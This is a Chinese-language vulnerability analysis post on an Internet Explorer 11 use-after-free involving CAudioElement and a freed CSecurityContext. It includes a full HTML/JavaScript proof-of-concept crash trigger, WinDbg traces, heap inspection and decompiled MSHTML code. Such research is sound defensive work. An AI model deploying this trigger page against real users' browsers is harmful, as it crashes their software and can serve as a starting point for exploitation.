Microsoft Internet Explorer 11.0.9600.18482 - Use After Free

作者:k0shl 转载请注明出处:https://whereisk0shl.top


漏洞说明


此漏洞是由于IE浏览器在处理CAduioElement对象的时候,在由于释放之后没有进行标记,后续调用也没有进行检查,导致再次调用的时候导致释放后重利用漏洞,下面对此漏洞进行分析。值得一提的是,在IE 11中对dll引用了ASLR,所以在调试过程中的地址会发生一些变化,不过不影响分析。

这个漏洞对应的CVE编号没有找到,不影响漏洞分析的过程,请下载对应版本的IE浏览器触发PoC。

PoC:

<!DOCTYPE html>
<html>
  <head>
  <meta http-equiv="content-type" content="text/html; charset=UTF-8">
  <meta http-equiv="Expires" content="0" />
  <meta http-equiv="Cache-Control" content="no-store, no-cache, must-revalidate" />
  <meta http-equiv="Cache-Control" content="post-check=0, pre-check=0" />
  <meta http-equiv="Pragma" content="no-cache" />
  <style type="text/css">
   body{
        background-color:lime;
        font-color:red;
   };
  </style>
  <script type='text/javascript'></script> 
  <script type="text/javascript" language="JavaScript">
  /*
    # Exploit Title: Internet Explorer 11 Use After Free
    # Date: 05/09/2016 - 11/09/2016
    # Exploit Author: Marcin Ressel
    # Vendor Homepage: https://www.microsoft.com/pl-pl/
    # Version: 11.0.9600.18482
    # Tested on: Windows 7 (x64)
     
    ######################################################################################
     
     0:014> g
     (13a8.9b8): Access violation - code c0000005 (!!! second chance !!!)
      eax=2f66abb0 ebx=00000001 ecx=2fbc8f08 edx=7ef8d000 esi=2fbc8f08 edi=2fbc8f08
      eip=6d754a45 esp=1feac660 ebp=1feac674 iopl=0         nv up ei pl nz na po nc
      cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
      MSHTML!CElement::SecurityContext+0x25:
      6d754a45 8b80b8000000    mov     eax,dword ptr [eax+0B8h] ds:002b:2f66ac68=????????
      0:014> d @eax
      2f66abb0  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
      2f66abc0  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
      2f66abd0  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
      2f66abe0  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
      2f66abf0  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
      2f66ac00  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
      2f66ac10  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
      2f66ac20  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
      0:014> kb
      ChildEBP RetAddr  Args to Child              
      1feac660 6d5e7c69 6d5e7500 1feac690 2fbc8f08 MSHTML!CElement::SecurityContext+0x25
      1feac674 6d5e75cf 2fbc8f08 2fbc8f08 2fbc8f08 MSHTML!CMediaElement::RemoveFromPlayToElementTracker+0x1d
      1feac688 6d5e7bee 1feac6a0 6d5e7bd0 00000004 MSHTML!CMediaElement::Shutdown+0xdc
      1feac698 6d5e7b1c 48cfae30 50d00bb0 4542dbd0 MSHTML!CMediaElement::OnMarkupTearDown+0x1e
      1feac6c4 6d3b23dc 00000000 4542dbd0 50d00bb0 MSHTML!CMarkup::InvokeMarkupTearDownCallbacks+0xc0
      1feac6d8 6d3b22c9 00000001 00000001 341a8bb0 MSHTML!CMarkup::TearDownMarkupHelper+0xe4
      1feac700 6d3adf1f 00000001 00000001 1feac7d0 MSHTML!CMarkup::TearDownMarkup+0x58
      1feac7b0 6dae9665 341a8bb0 00000000 00000000 MSHTML!COmWindowProxy::SwitchMarkup+0x4eb
      1feac894 6dae97e3 00005004 ffffffff 00000000 MSHTML!COmWindowProxy::ExecRefresh+0xa1c
      1feac8a8 6d0d763b 457f1f68 00005004 00000001 MSHTML!COmWindowProxy::ExecRefreshCallback+0x23
      1feac8f0 6d0cd4e2 91c55b56 00000000 6d0cc800 MSHTML!GlobalWndOnMethodCall+0x17b
      1feac944 76b862fa 001401c6 00008002 00000000 MSHTML!GlobalWndProc+0x103
      1feac970 76b86d3a 6d0cc800 001401c6 00008002 user32!InternalCallWinProc+0x23
      1feac9e8 76b877d3 00000000 6d0cc800 001401c6 user32!UserCallWinProcCheckWow+0x109
      1feaca4c 76b8789a 6d0cc800 00000000 1feafc28 user32!DispatchMessageWorker+0x3cb
      1feaca5c 6e5fa8ac 1feaca9c 62382e48 2efb2fe0 user32!DispatchMessageW+0xf
      1feafc28 6e620e88 1feafcf4 6e620b00 5cba2ff0 IEFRAME!CTabWindow::_TabWindowThreadProc+0x464
      1feafce8 74e4ad3c 62382e48 1feafd0c 6e614b00 IEFRAME!LCIETab_ThreadProc+0x3e7
      1feafd00 6e593a31 5cba2ff0 00000000 6e5939a0 iertutil!_IsoThreadProc_WrapperToReleaseScope+0x1c
      1feafd38 6fae9608 4b3b6fe8 705e0368 00000000 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x94
       
      ############################################################################################
  */
   
            var doc;
            var trg, trg_parent;        
            function testcase()
            {
                var e1_frame = document.getElementById("e1"); 
                doc = document; 
                 
                e = e1_frame.contentWindow.document.createElement("hr"); 
                rf = doc.body.appendChild(e); 
                 
                e = e1_frame.contentWindow.document.createElement("audio"); 
                rf = doc.body.appendChild(e); 
                 
                dom = doc.getElementsByTagName("*");
                document.getElementById("e1").removeNode(true); 
                trg = dom[14]; 
                trg_parent = doc.body; 
 
                trg.addEventListener('DOMNodeRemoved',
                                     new Function('',
                                                  //'try{trg.removeEventListener("DOMNodeRemoved",this,false);}catch(e){}'+
                                                  'try{trg.appendChild(document.createElement("feOffset")).removeNode(false).ATTRIBUTE_NODE = "false";}catch(e){}'+
                                                  'try{trg_parent = trg.cloneNode(true);}catch(e){}'//+
                                                //  'try{doc = document.implementation.createDocument("about:blank","","text/html");}catch(e){}'
                                                 ),
                                    false);
                trg_parent.innerHTML = trg.innerHTML; 
                //CollectGarbage();
                //trg.innerHTML = "<h1></h1>"
                setTimeout('location.reload();',700);
            }
        </script>
  <title>Use After Free</title>
  </head>
  <body onload='testcase();'>
   <iframe></iframe><iframe src='about:blank' id='e1'></iframe>
  </body>
</html>
</html>

漏洞分析


首先打开IE 11浏览器,附加Windbg,程序崩溃。

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0d2e8bb8 ebx=00000001 ecx=0d0b8f08 edx=00000000 esi=0d0b8f08 edi=0d0b8f08
eip=634d482a esp=0483c6b4 ebp=0483c6c8 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
MSHTML!CElement::Doc+0x15:
634d482a 8b80b0000000    mov     eax,dword ptr [eax+0B0h] ds:0023:0d2e8c68=????????

崩溃位置引用了一个无效指针,eax此时存放的地址是一个无效地址,+0B0h偏移位置的值也是一个无效值,无效引用导致了问题的发生。通过kb查看一下堆栈回溯。

0:007> kb
ChildEBP RetAddr  Args to Child              
051bc398 683358bd 051bc3ac 683352d0 051bc3c8 MSHTML!CElement::Doc+0x15
051bc3b0 683352ba 518cef08 518cef08 051bc3fc MSHTML!CMediaElement::RemoveFromPlayToElementTracker+0x21
051bc3c0 68335a1e 051bc3d8 68335a00 00000028 MSHTML!CMediaElement::Shutdown+0xd7
051bc3d0 6833583c 056fde30 74367d58 066bbbd0 MSHTML!CMediaElement::OnMarkupTearDown+0x1e
051bc3fc 67ee95e9 00000000 066bbbd0 74367d58 MSHTML!CMarkup::InvokeMarkupTearDownCallbacks+0xc0
051bc410 67ee94d6 00000001 00000001 6def7d58 MSHTML!CMarkup::TearDownMarkupHelper+0xdc
051bc438 680fe7a4 00000001 00000001 051bc500 MSHTML!CMarkup::TearDownMarkup+0x58

在最后调用了CElement::Doc,其实最后这个doc是一个securityContext,这个函数调用其实在原PoC中可以看到,不知道为什么我这里显示式Doc,是在RemoveFromPlayerElementTracker函数中调用到的这个函数。

来看一下mshtml.dll,在漏洞附近的调用情况。实际上,观察MSHTML!CElment::Doc发现,eax的值实际上是由esi+30h位置赋值而来。

0:007> !heap -p -a esi
    address 0d0b8f08 found in
    _DPH_HEAP_ROOT @ 4a41000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 d1f0f08:          d0b8f08               f8 -          d0b8000             2000
          MSHTML!CAudioElement::`vftable'
    6d3c8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    76f95ede ntdll!RtlDebugAllocateHeap+0x00000030
    76f5a40a ntdll!RtlpAllocateHeap+0x000000c4
    76f25ae0 ntdll!RtlAllocateHeap+0x0000023a
    63a84e3a MSHTML!CAudioElement::CreateElement+0x0000001a
    63812404 MSHTML!CElement::Clone+0x000001d7
    64354dad MSHTML!CMediaElement::Clone+0x0000001d

通过+hpa的方法看一下esi寄存器的堆的情况,esi实际上存放的是CAudioElement的虚表对象指针,在+30h偏移位置调用时取了一个无效地址,导致了程序崩溃。

0:007> dps esi
0d0b8f08  63a84ec0 MSHTML!CAudioElement::`vftable'
0d0b8f0c  00000001
0d0b8f10  00000001
0d0b8f14  00000018
0d0b8f18  00000000
0d0b8f1c  00000000
0d0b8f20  00000000
0d0b8f24  7ff96910
0d0b8f28  0000007f
0d0b8f2c  02040400
0d0b8f30  00000000
0d0b8f34  00000000
0d0b8f38  0d2e8bb8
0d0b8f3c  6397a178 MSHTML!CVideoElement::`vftable'
0d0b8f40  63a78aec MSHTML!CAudioElement::`vftable'
0d0b8f44  63494c5c MSHTML!CMediaElement::`vftable'
0d0b8f48  63a84eac MSHTML!CAudioElement::`vftable'

这样我们需要关注+30h位置原本存放的什么值,我们通过bp的方法下一个条件断点,跟踪CAudioELment对象的创建情况。

位置下在CAudioElment::CreateElement位置。

bp MSHTML!CAudioElement::CreateElement "gu;.printf \"ptr:[%08x] ,addr:[%08x]\\n\",ecx,ecx+30h;g"
ptr:[0d090f08] ,addr:[05be0fe0]
(8e4.7f8): C++ EH exception - code e06d7363 (first chance)
ptr:[0d0a8f08] ,addr:[05be0fe0]
(8e4.7f8): C++ EH exception - code e06d7363 (first chance)
ptr:[63466f08] ,addr:[05be0fe0]
(8e4.7f8): C++ EH exception - code e06d7363 (first chance)
(8e4.7f8): C++ EH exception - code e06d7363 (first chance)
ptr:[63412f08] ,addr:[05be0fe0]
ptr:[72412f08] ,addr:[05be0fe0]
ptr:[1dacaf08] ,addr:[05be0fe0]
ptr:[54862f08] ,addr:[05be0fe0]
(8e4.7f8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=723aabb8 ebx=00000001 ecx=63466f08 edx=00000000 esi=63466f08 edi=63466f08
eip=63f1482a esp=0495c3ac ebp=0495c3c0 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
MSHTML!CElement::Doc+0x15:
63f1482a 8b80b0000000    mov     eax,dword ptr [eax+0B0h] ds:0023:723aac68=????????

可以看到,之前的esi的值是63466f08地址位置,再看一下之前跟踪的结果,实际上我取了一部分,在整个过程中,有大量的CAudioElement对象创建,在跟踪过程中,其实63466f08创建的对象只有一处,在创建之后,偏移+30h位置的值是05be0fe0地址。来看一下这个地址的内容。

0:007> !heap -p -a 0605ffe0
    address 0605ffe0 found in
    _DPH_HEAP_ROOT @ 61000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 60b01a0:          605ffe0               1c -          605f000             2000
          MSHTML!CSecurityContext::`vftable'
    6eef8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    76f95ede ntdll!RtlDebugAllocateHeap+0x00000030
    76f5a40a ntdll!RtlpAllocateHeap+0x000000c4
    76f25ae0 ntdll!RtlAllocateHeap+0x0000023a
    68298d55 MSHTML!ProcessHeapAllocClear+0x00000010
    68127697 MSHTML!CreateDoc+0x00000027
    681306db MSHTML!CBaseCF::CreateInstance+0x0000005e
    6c6c9697 IEFRAME!CBaseBrowser2::_OnCoCreateDocument+0x0000007a

其实这个地方的值是CSecurityContext的虚表指针,实际上,这个值在创建之后,会由于PoC中的调用。

                dom = doc.getElementsByTagName("*");
                document.getElementById("e1").removeNode(true); 

导致CSecurityContext虚表对象释放掉。跟踪CSecurityContext::Release的释放情况。

0:007> bl
 0 e 68384e20     0001 (0001)  0:**** MSHTML!CAudioElement::CreateElement "gu;.printf \"ptr:[%08x] ,addr:[%08x]\\n\",ecx,poi(ecx+30h);g"
bp MSHTML!CSecurityContext::Release ".printf \"Release:[%08x]\\n\",poi(esp+4);g;"

跟踪过程中可以观察到对象的创建之后释放。

ptr:[05947f08] ,addr:[06a94fe0]
Release:[06a94fe0]

释放后,并没有进行标记,而是直接调用js,导致RemoveFromPlayToElementTracker函数执行。

__int32 __thiscall CMediaElement::RemoveFromPlayToElementTracker(CMediaElement *this)
{
  CMediaElement *v1; // esi@1
  int v2; // ebx@1
  CDoc *v3; // eax@1
  __int32 result; // eax@1
  struct CPlayToElementTracker *v5; // [sp+8h] [bp-4h]@1

  v1 = this;
  v2 = *((_WORD *)this + 16) != 129;
  v3 = CElement::Doc(this);
  result = CDoc::GetPlayToElementTracker(v3, &v5);
  if ( result >= 0 )
    result = CPlayToElementTracker::RemoveElement(v5, v2, v1);
  return result;
}

this指针表示CAudioElment对象,接下来会在CElement::SecurityContext引用到+30h位置的指针的值。

跟踪进这个函数看一下。

struct CDoc *__thiscall CElement::Doc(CElement *this)
{
  int v1; // eax@1
  bool v2; // zf@2

  v1 = *((_DWORD *)this + 12);
  if ( *((_DWORD *)this + 9) & 0x30000 )
  {
    v2 = (*(_BYTE *)(v1 + 15) & 1) == 0;
    v1 = *(_DWORD *)(v1 + 4);
  }
  else
  {
    v2 = (*((_DWORD *)this + 9) & 0x40000) == 0;
  }
  if ( !v2 )
    v1 = *(_DWORD *)(v1 + 176);
  return *(struct CDoc **)(v1 + 12);
}

在v1中会引用this+12,就是CSecurityContext的指针值,然而这时候这个指针已经被释放,导致释放后重用漏洞的发生,这里后续没有虚表调用,可能没法继续利用。

Comments
Write a Comment